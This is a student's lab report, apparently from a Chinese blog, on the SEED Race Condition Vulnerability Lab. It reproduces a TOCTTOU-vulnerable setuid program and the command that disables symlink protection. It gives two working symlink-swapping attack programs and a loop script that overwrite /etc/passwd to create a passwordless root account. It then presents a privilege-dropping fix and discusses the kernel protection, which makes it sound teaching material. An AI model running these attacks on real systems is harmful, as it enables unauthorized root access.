Race Condition Vulnerability Lab操作系统实验

  • 实验准备
  • Task 2.A
    • target_process.sh
    • attack_process.c
    • 运行&结果
    • 异常
  • Task 2.B
    • attack2.c
  • Task 3
  • Task 4
      • 问题解决
    • 实验总结

实验准备

有TOCTTOU竞态条件漏洞的程序(vulp.c)

/* vulp.c */
#include <stdio.h>
#include<unistd.h>
int main()
{char * fn = "/tmp/XYZ";char buffer[60];FILE *fp;/* get user input */scanf("%50s", buffer );if(!access(fn, W_OK)){ ➀fp = fopen(fn, "a+"); ➁fwrite("\n", sizeof(char), 1, fp);fwrite(buffer, sizeof(char), strlen(buffer), fp);fclose(fp);}else printf("No permission \n");
}

由于Ubuntu10之后的系统修复了漏洞,需要禁用保护措施。

代码:

// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0

Task 2.A

target_process.sh

#!/bin/bashCHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do./vulp < passwd_inputnew=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

执行target_process.sh脚本需要在命令行输入:

$ bash ./target_process.sh

分析代码知CHECK_FILE为一个shell指令,效果为获取/etc/passwd文件的标签信息。令old与new都等于CHECK_FILE的执行结果,并进入while循环。当passwd文件未被修改时,old始终都等于new。只有passwd被修改时才会跳出循环并输出运行结束的提示。

attack_process.c

#include <unistd.h>int main()
{while(1){unlink("/tmp/XYZ");symlink("/dev/null","/tmp/XYZ");usleep(1000);unlink("/tmp/XYZ");symlink("/etc/passwd","/tmp/XYZ");usleep(1000);}return 0;
}//编译命令:gcc -o attack_process attack_process.c

分析代码知该程序反复将/tmp/XYZ指向无root权限的/dev/null和有root权限的/etc/passwd。usleep(1000)降低反复执行的速率,逃避系统检查。

运行&结果

在开始运行attack_process 后,XYZ开始反复获取与失去权限。开始执行target_process.sh脚本,当XYZ无权限时,脚本可以访问XYZ所链接的/dev/null;当XYZ有权限时,脚本无法访问所链接的/etc/passwd,也就无法写入。但当检测到XYZ有访问权限后立即修改XYZ指向passwd,则可以顺利访问。

如图所示,将passwd_input文件的内如写入到passwd中,成功创建一个不需要密码的root用户

异常

几次实验中发现,有一次在开始执行target_process.sh脚本时无输出拒绝访问的提示,查看/tmp/XYZ的拥有者变成了root。修改usleep()的参数更大即无问题。根据实验手册解释,在attack_process执行unlink()与symlink()之间,target执行vulp并以root权限创建了/tmp/XYZ文件,导致攻击失败。


Task 2.B

attack2.c

#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main()
{while(1){unsigned int flags = RENAME_EXCHANGE;unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);}return 0;
}

将attack2程序代替A中的attack程序,XYZ文件的权限更迭发生在同一条指令中,更加"atomic",使得A中的攻击失败不再出现。


实际上第二种攻击方法还比第一种更加快速,因为第二种攻击方式中攻击方式没发生改变,但无效的时间段相较A中更短,也更易攻击。


Task 3

原来的vulp程序违反了最小权限原则,所以产生了上面的漏洞。为了避免给予程序过大的权限,尤其是在类似修改数据的地方,可以采用降权的方式。vulp代码修改如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
int main()
{char * fn = "/tmp/XYZ";char buffer[60];FILE *fp;/* get user input */scanf("%50s", buffer );uid_t real_uid = getuid();uid_t eff_uid = geteuid();seteuid(real_uid);if(fp = fopen(fn, "a+")!=NULL){fwrite("\n", sizeof(char), 1, fp);fwrite(buffer, sizeof(char), strlen(buffer), fp);fclose(fp);}else printf("No permission \n");seteuid(eff_uid);
}

在即将能够修改数据的时候自动获取程序的真实用户,使之只能行使自身能够行使的权力,在完成数据修改工作后再恢复权限。


如图,在展开如前的攻击方式,实机实验10min仍攻击失败。


Task 4

还记得实验开始,为了打开实验漏洞而关闭了symlink的保护机制。现在将其恢复:

$ sudo sysctl -w fs.protected_symlinks=1

再重新进行Task 2.B的攻击方式,发现原本应该有效用户是seed的/tmp/XYZ文件在攻击过程中被修改为root,使原本的攻击手段如同Task 2.A中偶尔出现的情况一样失败

问题解决

  1. How does this protection scheme work?
    多次实验后可以观测到该保护机制的实现原理:当一个无权限的链接试图访问并成功访问关键文件的时候,自动将该链接升为root,则无法被普通用户程序修改,attack2的竞态条件就不存在了,攻击失败。
  2. What are the limitations of this scheme?
    这种防御方式无法防御第一次攻击,如果第一次攻击就达成竞态条件,攻击即可成功,防御失败。

实验总结

TOCTTOU竞态现象是本次实验的攻击手段的基础。在访问文件前,计算机会先检测当前用户权限是否能够打开该文件,而这个漏洞通过链接的快速更换,欺骗系统当前权限能够打开,并随即更换链接对象为关键文件,达到修改隐私文件的目的,完成攻击。

Race Condition Vulnerability Lab操作系统实验相关推荐

  1. Race Condition Vulnerability Lab

    注:查看全文请关注作者,或点击前往:Race Condition Vulnerability Lab Race_Condition_Vulnerability_Lab 1 概述 ​ 本实验的学习目标是 ...

  2. Race Condition Vulnerability Lab(转载)

    目录 1.0 概述 2.0 实验室任务 2.1 初始设置 2.2 易受攻击的程序 2.3 task1:选择我们的目标 2.4 task2: A发起竞态攻击 2.5 task2: B改进的攻击方法 2. ...

  3. 操作系统实验报告1:ucore Lab 1

    操作系统实验报告1 实验内容 阅读 uCore 实验项目开始文档 (uCore Lab 0),准备实验平台,熟悉实验工具. uCore Lab 1:系统软件启动过程 (1) 编译运行 uCore La ...

  4. (SEED-Lab)Buffer Overflow Vulnerability Lab缓冲区溢出实验

    (SEED-Lab)Buffer Overflow Vulnerability Lab 欢迎大家访问我的GitHub博客 https://lunan0320.cn 文章目录 一.实验目的 二.实验步骤 ...

  5. java race condition_java多线程(一)Race Condition现象及产生的原因

    什么是Race Condition 首先,什么是Race Condition呢,Race Condition中文翻译是竞争条件,是指多个进程或者线程并发访问和操作同一数据且执行结果与访问发生的特定顺序 ...

  6. ucore操作系统实验笔记 - Lab1

    最近一直都在跟清华大学的操作系统课程,这个课程最大的特点是有一系列可以实战的操作系统实验.这些实验总共有8个,我在这里记录实验中的一些心得和总结. Task1 这个Task主要是为了熟悉Makfile ...

  7. 操作系统实验报告15:进程同步与互斥线程池

    操作系统实验报告15 实验内容 实验内容:进程同步. 内容1:编译运行课件 Lecture18 例程代码. Algorithms 18-1 ~ 18-9. 内容2:在 Lab Week 13 的基础上 ...

  8. 操作系统实验二:物理内存管理系统

    操作系统实验二:物理内存管理系统 一. 实验目的 二. 实验内容 三. 实验准备 [实验概述] [关键数据结构] [执行流程] 四. 实验步骤 (一) 练习0:填写已有实验 (二) 练习1:实现 fi ...

  9. Linux基于bash命令实验报告,Linux操作系统实验报告1

    Linux操作系统实验报告1 下载提示(请认真阅读)1.请仔细阅读文档,确保文档完整性,对于不预览.不比对内容而直接下载带来的问题本站不予受理. 2.下载的文档,不会出现我们的网址水印. 3.该文档所 ...

最新文章

  1. 设计模式系列·抽象工厂模式
  2. sql server分布式事务解决方案[新事务不能登记到指定的事务处理器中错误]
  3. python urllib.request 爬虫 数据处理-python爬虫 urllib模块url编码处理
  4. java range(10)_Java Year range()用法及代码示例
  5. elasticsearch Java API 索引API
  6. JZOJ 5167. 【NOIP2017模拟6.26】下蛋爷
  7. python函数手册_python学习手册——内置函数(上)
  8. IOS开发基础之截图、图片文字水印
  9. CF1540B-Tree Array【数学期望,dp】
  10. composer不成功的原因
  11. 模块化加载_谈谈双亲委派模型的第四次破坏-模块化
  12. 信息学奥赛一本通(1241:二分法求函数的零点)
  13. mysql-数据备份操作
  14. ubuntu 下 opencv 3. 的安装和运行
  15. npoi excel导入html数据库,C#_.NetFramework_Web项目_NPOI_EXCEL数据导入
  16. 电脑有网络,但所有浏览器网页都打不开,是怎么回事?
  17. WIN7清理C盘空间垃圾的BAT脚本
  18. java餐饮系统需求总结,基于java的餐饮管理系统的设计与实现开题报告
  19. 前端请求路径为何不能写成http://localhost:8080/**/** ?
  20. 电子计算机发明于20世纪什么年代,电子计算机发明于哪一年

热门文章

  1. spring cloudAlibaba面试题
  2. AxMath的常用操作
  3. IP138.com被人挂马
  4. 我要曝光一个阿里P7
  5. 【海思AI芯片Hi3559A】学习笔记(1):开发环境搭建、安装SDK
  6. Camera Sensor Binning skipping 模式介绍
  7. 关于Python初级阶段模仿飞机大战的小游戏制作源码
  8. python wxpy模块,python wxpy模块 (一)简单上手
  9. 【机器学习】实战系列五——天文数据挖掘实验(天池比赛)
  10. inchat--区块链微信,浅谈